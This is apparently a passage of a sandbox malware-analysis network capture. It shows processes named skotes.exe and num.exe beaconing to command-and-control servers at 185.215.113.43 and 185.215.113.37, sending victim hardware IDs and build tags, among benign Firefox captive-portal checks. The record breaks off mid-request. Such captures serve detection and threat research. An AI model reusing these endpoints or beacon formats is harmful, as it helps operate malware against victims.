Oct 23, 2024 17:52:09.757834911 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:10.674285889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50036	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:12.300690889 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:13.209867001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50037	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:14.844333887 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:15.773179054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50038	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:17.424714088 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:18.340890884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50040	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:19.863221884 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:20.767848969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50041	185.215.113.37	80	3112	C:\Users\user\AppData\Local\Temp\1000995001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:21.833730936 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 17:52:22.745506048 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 17:52:22.781579018 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="build"doma------AFHDBGHJKFIDHJJJEBKE--
Oct 23, 2024 17:52:23.069499016 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50042	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:22.464636087 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:23.355115891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50043	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:24.877516985 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:25.796120882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50046	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:27.425177097 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:28.492218018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50049	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:30.006705999 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:30.904165030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50051	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:32.576739073 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:33.478432894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50054	34.107.221.82	80	4992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:33.658026934 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:52:34.252368927 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85215 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:52:34.736100912 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:52:34.861824989 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85215 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:52:35.331650019 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:52:35.456758976 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85216 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:52:37.497118950 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:52:37.622129917 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85218 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:52:47.794878960 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50060	34.107.221.82	80	4992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:34.623033047 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50062	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:34.990921021 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:35.919497013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50064	34.107.221.82	80	4992	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:35.123094082 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:52:35.732229948 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85481 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:52:37.496903896 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:52:37.624339104 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85483 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:52:47.826306105 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50069	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:37.553891897 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:38.468954086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50071	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:40.000468016 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:52:40.906969070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50073	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:42.549700022 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:52:43.457047939 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:52:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	50074	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:52:43.733839989 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 17:52:44.642693996 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 17:52:44.645472050 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; 